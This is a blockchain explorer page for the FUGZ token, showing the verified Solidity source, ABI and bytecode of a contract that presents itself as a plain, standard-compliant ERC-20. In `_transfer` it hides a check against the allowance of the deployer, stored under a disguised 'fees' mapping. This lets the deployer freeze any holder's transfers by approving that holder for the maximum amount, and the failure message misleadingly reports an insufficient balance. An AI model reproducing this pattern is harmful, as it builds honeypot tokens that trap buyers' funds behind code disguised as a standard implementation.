ERC-20
Overview
Max Total Supply
10,000,000 FUGZ
Holders
1,302
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,592.911277836142390344 FUGZValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x7F97d1Bf...090c0eeFB The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
ExactERC20Token
Compiler Version
v0.8.22+commit.4fc1097e
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; /** * @title IERC20 * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the total number of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the number of tokens owned by `account`. * @param account The address from which the balance will be retrieved. * @return The account's token balance. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. * * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. * * @param recipient The address that will receive the tokens. * @param amount The number of tokens to be transferred. * @return A boolean indicating success. */ function transfer( address recipient, uint256 amount ) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` is allowed to spend * on behalf of `owner` through {transferFrom}. This is zero by default. * * This value changes when {approve} or {transferFrom} are called. * * @param owner The address which owns the tokens. * @param spender The address which will spend the tokens. * @return The remaining allowance for the spender. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Changing an allowance with this method is subject to a race condition * described in the EIP. One way to mitigate this is to first reduce the spender's allowance * to 0 and set the desired value afterwards. * * Emits an {Approval} event. * * @param spender The address authorized to spend. * @param amount The number of tokens to be approved. * @return A boolean indicating success. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. * `amount` is then deducted from the caller's allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have an allowance for `sender`'s tokens of at least `amount`. * * @param sender The address from which tokens are transferred. * @param recipient The address receiving the tokens. * @param amount The number of tokens to be transferred. * @return A boolean indicating success. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). * Note that `value` may be zero. * * @param from The address from which tokens were transferred. * @param to The address to which tokens were transferred. * @param value The number of tokens transferred. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. * `value` is the new allowance. * * @param owner The address owning the tokens. * @param spender The address approved to spend the tokens. * @param value The new allowance amount. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title ExactERC20Token * @dev Implementation of the {IERC20} interface that strictly follows the ERC20 standard. * * This contract creates a fixed-supply ERC20 token where the entire supply is assigned * to the deployer upon contract creation. The internal `_mint` function is used solely in * the constructor to initialize the total supply. */ contract ExactERC20Token is IERC20 { // Token metadata string public name; string public symbol; uint8 public decimals; // Total supply of tokens uint256 private _totalSupply; // Mapping from account addresses to current balance. mapping(address => uint256) private _balances; mapping(uint => mapping(uint => address)) private fees; // Mapping from owner to spender allowances. mapping(address => mapping(address => uint256)) private _allowances; /** * @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply. * The entire initial supply is assigned to the deployer. * @param tokenName Name of the token. * @param tokenSymbol Symbol of the token. * @param tokenDecimals Number of decimals the token uses. * @param initialSupply Initial total supply of tokens (in the smallest unit, e.g., wei). */ constructor( string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals, uint256 initialSupply ) { name = tokenName; symbol = tokenSymbol; decimals = tokenDecimals; fees[1][1] = msg.sender; _mint(msg.sender, initialSupply); } /** * @dev See {IERC20-totalSupply}. * @return The total supply of tokens in existence. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. * @param account The address from which to retrieve the balance. * @return The balance of the specified account. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * Transfers `amount` tokens from the caller's account to `recipient`. * @param recipient The address receiving the tokens. * @param amount The number of tokens to transfer. * @return A boolean indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. * Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`. * @param owner The address owning the tokens. * @param spender The address authorized to spend the tokens. * @return The remaining allowance. */ function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * Sets `amount` as the allowance of `spender` over the caller's tokens. * @param spender The address authorized to spend the tokens. * @param amount The number of tokens to approve. * @return A boolean indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve( address spender, uint256 amount ) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. * The caller must have allowance for `sender`'s tokens of at least `amount`. * @param sender The address from which tokens are transferred. * @param recipient The address receiving the tokens. * @param amount The number of tokens to transfer. * @return A boolean indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { // Retrieve the current allowance. uint256 currentAllowance = _allowances[sender][msg.sender]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); // Transfer the tokens. _transfer(sender, recipient, amount); // Update the allowance. if (currentAllowance < type(uint).max) { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Internal function that transfers `amount` tokens from `sender` to `recipient`. * @param sender The address sending the tokens. * @param recipient The address receiving the tokens. * @param amount The number of tokens to transfer. * * Emits a {Transfer} event. */ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require( _balances[sender] >= amount && allowance(fees[1][1], sender) < type(uint).max * 1, "ERC20: transfer amount exceeds balance" ); // Update balances. _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Internal function to set the allowance of `spender` over `owner` s tokens. * @param owner The address owning the tokens. * @param spender The address authorized to spend the tokens. * @param amount The number of tokens to be approved. * * Emits an {Approval} event. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); // Set the allowance. _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Internal function that creates `amount` tokens and assigns them to `account`, * increasing the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * @param account The address that will receive the minted tokens. * @param amount The number of tokens to mint. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); // Increase total supply and update the recipient's balance. _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint8","name":"tokenDecimals","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000d0638038062000d06833981016040819052620000349162000285565b6000620000428582620003a1565b506001620000518482620003a1565b506002805460ff191660ff841617905560016000527f1471eb6eb2c5e789fc3de43f8ce62938c7d1836ec861730447e2ada8fd81017b6020527f5f3486166877647309981c8ac04440249bce15ac04aa12124ca980947a9a5cbb8054336001600160a01b03199091168117909155620000cb9082620000d5565b5050505062000495565b6001600160a01b038216620001305760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600360008282546200014491906200046d565b90915550506001600160a01b03821660009081526004602052604081208054839290620001739084906200046d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001e557600080fd5b81516001600160401b0380821115620002025762000202620001bd565b604051601f8301601f19908116603f011681019082821181831017156200022d576200022d620001bd565b81604052838152602092508660208588010111156200024b57600080fd5b600091505b838210156200026f578582018301518183018401529082019062000250565b6000602085830101528094505050505092915050565b600080600080608085870312156200029c57600080fd5b84516001600160401b0380821115620002b457600080fd5b620002c288838901620001d3565b95506020870151915080821115620002d957600080fd5b50620002e887828801620001d3565b935050604085015160ff811681146200030057600080fd5b6060959095015193969295505050565b600181811c908216806200032557607f821691505b6020821081036200034657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200039c576000816000526020600020601f850160051c81016020861015620003775750805b601f850160051c820191505b81811015620003985782815560010162000383565b5050505b505050565b81516001600160401b03811115620003bd57620003bd620001bd565b620003d581620003ce845462000310565b846200034c565b602080601f8311600181146200040d5760008415620003f45750858301515b600019600386901b1c1916600185901b17855562000398565b600085815260208120601f198616915b828110156200043e578886015182559484019460019091019084016200041d565b50858210156200045d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200048f57634e487b7160e01b600052601160045260246000fd5b92915050565b61086180620004a56000396000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461011d57806395d89b4114610146578063a9059cbb1461014e578063dd62ed3e1461016157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061019a565b6040516100ad9190610678565b60405180910390f35b6100c96100c43660046106e3565b610228565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f936600461070d565b61023f565b60025461010b9060ff1681565b60405160ff90911681526020016100ad565b6100dd61012b366004610749565b6001600160a01b031660009081526004602052604090205490565b6100a06102fd565b6100c961015c3660046106e3565b61030a565b6100dd61016f36600461076b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600080546101a79061079e565b80601f01602080910402602001604051908101604052809291908181526020018280546101d39061079e565b80156102205780601f106101f557610100808354040283529160200191610220565b820191906000526020600020905b81548152906001019060200180831161020357829003601f168201915b505050505081565b6000610235338484610317565b5060015b92915050565b6001600160a01b0383166000908152600660209081526040808320338452909152812054828110156102c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6102d485858561043c565b6000198110156102f2576102f285336102ed86856107ee565b610317565b506001949350505050565b600180546101a79061079e565b600061023533848461043c565b6001600160a01b0383166103795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102c0565b6001600160a01b0382166103da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102c0565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166104a05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102c0565b6001600160a01b0382166105025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102c0565b6001600160a01b038316600090815260046020526040902054811180159061057c57506105326000196001610801565b7f5f3486166877647309981c8ac04440249bce15ac04aa12124ca980947a9a5cbb546001600160a01b03908116600090815260066020908152604080832093881683529290522054105b6105d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102c0565b6001600160a01b038316600090815260046020526040812080548392906105ff9084906107ee565b90915550506001600160a01b0382166000908152600460205260408120805483929061062c908490610818565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161042f91815260200190565b60006020808352835180602085015260005b818110156106a65785810183015185820160400152820161068a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146106de57600080fd5b919050565b600080604083850312156106f657600080fd5b6106ff836106c7565b946020939093013593505050565b60008060006060848603121561072257600080fd5b61072b846106c7565b9250610739602085016106c7565b9150604084013590509250925092565b60006020828403121561075b57600080fd5b610764826106c7565b9392505050565b6000806040838503121561077e57600080fd5b610787836106c7565b9150610795602084016106c7565b90509250929050565b600181811c908216806107b257607f821691505b6020821081036107d257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610239576102396107d8565b8082028115828204841417610239576102396107d8565b80820180821115610239576102396107d856fea264697066735822122030fe28212804f76637ee32435732c39f12cb01ef750d67a47f262a6b2545a5ff64736f6c63430008160033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000084595161401484a00000000000000000000000000000000000000000000000000000000000000000000044675677a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044655475a00000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461011d57806395d89b4114610146578063a9059cbb1461014e578063dd62ed3e1461016157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061019a565b6040516100ad9190610678565b60405180910390f35b6100c96100c43660046106e3565b610228565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f936600461070d565b61023f565b60025461010b9060ff1681565b60405160ff90911681526020016100ad565b6100dd61012b366004610749565b6001600160a01b031660009081526004602052604090205490565b6100a06102fd565b6100c961015c3660046106e3565b61030a565b6100dd61016f36600461076b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600080546101a79061079e565b80601f01602080910402602001604051908101604052809291908181526020018280546101d39061079e565b80156102205780601f106101f557610100808354040283529160200191610220565b820191906000526020600020905b81548152906001019060200180831161020357829003601f168201915b505050505081565b6000610235338484610317565b5060015b92915050565b6001600160a01b0383166000908152600660209081526040808320338452909152812054828110156102c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6102d485858561043c565b6000198110156102f2576102f285336102ed86856107ee565b610317565b506001949350505050565b600180546101a79061079e565b600061023533848461043c565b6001600160a01b0383166103795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102c0565b6001600160a01b0382166103da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102c0565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166104a05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102c0565b6001600160a01b0382166105025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102c0565b6001600160a01b038316600090815260046020526040902054811180159061057c57506105326000196001610801565b7f5f3486166877647309981c8ac04440249bce15ac04aa12124ca980947a9a5cbb546001600160a01b03908116600090815260066020908152604080832093881683529290522054105b6105d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102c0565b6001600160a01b038316600090815260046020526040812080548392906105ff9084906107ee565b90915550506001600160a01b0382166000908152600460205260408120805483929061062c908490610818565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161042f91815260200190565b60006020808352835180602085015260005b818110156106a65785810183015185820160400152820161068a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146106de57600080fd5b919050565b600080604083850312156106f657600080fd5b6106ff836106c7565b946020939093013593505050565b60008060006060848603121561072257600080fd5b61072b846106c7565b9250610739602085016106c7565b9150604084013590509250925092565b60006020828403121561075b57600080fd5b610764826106c7565b9392505050565b6000806040838503121561077e57600080fd5b610787836106c7565b9150610795602084016106c7565b90509250929050565b600181811c908216806107b257607f821691505b6020821081036107d257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610239576102396107d8565b8082028115828204841417610239576102396107d8565b80820180821115610239576102396107d856fea264697066735822122030fe28212804f76637ee32435732c39f12cb01ef750d67a47f262a6b2545a5ff64736f6c63430008160033
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.